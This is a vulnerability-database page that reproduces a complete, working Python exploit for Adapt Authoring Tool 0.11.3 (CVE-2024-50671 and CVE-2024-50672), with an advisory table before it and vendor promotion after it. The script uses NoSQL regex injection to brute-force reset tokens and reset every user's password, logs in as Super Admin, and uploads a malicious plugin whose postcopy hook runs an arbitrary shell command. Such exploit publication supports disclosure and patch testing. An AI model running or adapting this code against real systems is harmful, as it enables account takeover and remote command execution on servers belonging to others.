| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| CVE-2024-50672 | 25 Nov 202420:41 | – | circl | |
| Adapt Authoring Tool 安全漏洞 | 25 Nov 202400:00 | – | cnnvd | |
| Adapt Authoring Tool 安全漏洞 | 25 Nov 202400:00 | – | cnnvd | |
| CVE-2024-50671 | 25 Nov 202400:00 | – | cve | |
| CVE-2024-50672 | 25 Nov 202400:00 | – | cve | |
| CVE-2024-50671 | 25 Nov 202400:00 | – | cvelist | |
| CVE-2024-50672 | 25 Nov 202400:00 | – | cvelist | |
| CVE-2024-50671 | 25 Nov 202421:15 | – | nvd | |
| CVE-2024-50672 | 25 Nov 202421:15 | – | nvd | |
| CVE-2024-50671 | 25 Nov 202421:15 | – | osv |
# Exploit Title: Adapt Authoring Tool 0.11.3 - Remote Command Execution (RCE)
# Date: 2024-11-24
# Exploit Author: Eui Chul Chung
# Vendor Homepage: https://www.adaptlearning.org/
# Software Link: https://github.com/adaptlearning/adapt_authoring
# Version: 0.11.3
# CVE Identifier: CVE-2024-50672 , CVE-2024-50671
import io
import sys
import json
import zipfile
import argparse
import requests
import textwrap
def get_session_cookie(username, password):
data = {"email": username, "password": password}
res = requests.post(f"{args.url}/api/login", data=data)
if res.status_code == 200:
print(f"[+] Login as {username}")
return res.cookies.get_dict()
return None
def get_users():
session_cookie = get_session_cookie(args.username, args.password)
if session_cookie is None:
print("[-] Login failed")
sys.exit()
res = requests.get(f"{args.url}/api/user", cookies=session_cookie)
users = [
{"email": user["email"], "role": user["roles"][0]["name"]}
for user in json.loads(res.text)
]
roles = {"Authenticated User": 1, "Course Creator": 2, "Super Admin": 3}
users.sort(key=lambda user: roles[user["role"]])
for user in users:
print(f"[+] {user['email']} ({user['role']})")
return users
def reset_password(users):
# Overwrite potentially expired password reset tokens
for user in users:
data = {"email": user["email"]}
requests.post(f"{args.url}/api/createtoken", data=data)
print("[+] Generate password reset token for every user")
valid_characters = "0123456789abcdef"
next_tokens = ["^"]
# Ensure that only a single result is returned at a time
while next_tokens:
prev_tokens = next_tokens
next_tokens = []
for token in prev_tokens:
for ch in valid_characters:
data = {"token": {"$regex": token + ch}, "password": "HaXX0r3d!"}
res = requests.put(
f"{args.url}/api/userpasswordreset/w00tw00t",
json=data,
)
# Multiple results returned
if res.status_code == 500:
next_tokens.append(token + ch)
print("[+] Reset every password to HaXX0r3d!")
def create_plugin(plugin_name):
manifest = {
"name": plugin_name,
"version": "1.0.0",
"extension": "exploit",
"main": "/js/main.js",
"displayName": "exploit",
"keywords": ["adapt-plugin", "adapt-extension"],
"scripts": {"adaptpostcopy": "/scripts/postcopy.js"},
}
property = {
"properties": {
"pluginLocations": {
"type": "object",
"properties": {"course": {"type": "object"}},
}
}
}
payload = textwrap.dedent(
f"""
const {{ exec }} = require("child_process");
module.exports = async function (fs, path, log, options, done) {{
try {{
exec("{args.command}");
}} catch (err) {{
log(err);
}}
done();
}};
"""
).strip()
plugin = io.BytesIO()
with zipfile.ZipFile(plugin, "a", zipfile.ZIP_DEFLATED, False) as zip_file:
zip_file.writestr(
f"{plugin_name}/bower.json",
io.BytesIO(json.dumps(manifest).encode()).getvalue(),
)
zip_file.writestr(
f"{plugin_name}/properties.schema",
io.BytesIO(json.dumps(property).encode()).getvalue(),
)
zip_file.writestr(
f"{plugin_name}/js/main.js", io.BytesIO("".encode()).getvalue()
)
zip_file.writestr(
f"{plugin_name}/scripts/postcopy.js",
io.BytesIO(payload.encode()).getvalue(),
)
plugin.seek(0)
return plugin
def find_plugin(cookies, plugin_type, plugin_name):
res = requests.get(f"{args.url}/api/{plugin_type}type", cookies=cookies)
for plugin in json.loads(res.text):
if plugin["name"] == plugin_name:
return plugin["_id"]
return None
def create_course(cookies):
data = {}
res = requests.post(f"{args.url}/api/content/course", cookies=cookies, json=data)
course_id = json.loads(res.text)["_id"]
data = {"_courseId": course_id, "_parentId": course_id}
res = requests.post(
f"{args.url}/api/content/contentobject",
cookies=cookies,
json=data,
)
content_id = json.loads(res.text)["_id"]
data = {"_courseId": course_id, "_parentId": content_id}
res = requests.post(f"{args.url}/api/content/article", cookies=cookies, json=data)
article_id = json.loads(res.text)["_id"]
data = {"_courseId": course_id, "_parentId": article_id}
res = requests.post(f"{args.url}/api/content/block", cookies=cookies, json=data)
block_id = json.loads(res.text)["_id"]
component_id = find_plugin(cookies, "component", "adapt-contrib-text")
data = {
"_courseId": course_id,
"_parentId": block_id,
"_component": "text",
"_componentType": component_id,
}
requests.post(f"{args.url}/api/content/component", cookies=cookies, json=data)
return course_id
def rce(users):
session_cookie = None
for user in users:
if user["role"] == "Super Admin":
session_cookie = get_session_cookie(user["email"], "HaXX0r3d!")
break
if session_cookie is None:
print("[-] Failed to login as Super Account")
sys.exit()
plugin_name = "adapt-contrib-xapi"
print(f"[+] Create malicious plugin : {plugin_name}")
plugin = create_plugin(plugin_name)
print("[+] Scan installed plugins")
plugin_id = find_plugin(session_cookie, "extension", plugin_name)
if plugin_id is None:
print(f"[+] {plugin_name} not found")
else:
print(f"[+] Found {plugin_name}")
print(f"[+] Remove {plugin_name}")
requests.delete(
f"{args.url}/api/extensiontype/{plugin_id}",
cookies=session_cookie,
)
print("[+] Upload plugin")
files = {"file": (f"{plugin_name}.zip", plugin, "application/zip")}
requests.post(
f"{args.url}/api/upload/contentplugin",
cookies=session_cookie,
files=files,
)
print("[+] Find uploaded plugin")
plugin_id = find_plugin(session_cookie, "extension", plugin_name)
if plugin_id is None:
print(f"[-] {plugin_name} not found")
sys.exit()
print(f"[+] Plugin ID : {plugin_id}")
print("[+] Add plugin to new courses")
data = {"_isAddedByDefault": True}
requests.put(
f"{args.url}/api/extensiontype/{plugin_id}",
cookies=session_cookie,
json=data,
)
print("[+] Create a new course")
course_id = create_course(session_cookie)
print("[+] Build course")
res = requests.get(
f"{args.url}/api/output/adapt/preview/{course_id}",
cookies=session_cookie,
)
if res.status_code == 200:
print("[+] Command execution succeeded")
else:
print("[-] Command execution failed")
print("[+] Remove course")
requests.delete(
f"{args.url}/api/content/course/{course_id}",
cookies=session_cookie,
)
def main():
print("[*] Retrieve user information")
users = get_users()
print("\n[*] Reset password")
reset_password(users)
print("\n[*] Perform remote code execution")
rce(users)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument(
"-u",
dest="url",
help="Site URL (e.g. www.adaptlearning.org)",
type=str,
required=True,
)
parser.add_argument(
"-U",
dest="username",
help="Username to authenticate as",
type=str,
required=True,
)
parser.add_argument(
"-P",
dest="password",
help="Password for the specified username",
type=str,
required=True,
)
parser.add_argument(
"-c",
dest="command",
help="Command to execute (e.g. touch /tmp/pwned)",
type=str,
default="touch /tmp/pwned",
)
args = parser.parse_args()
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation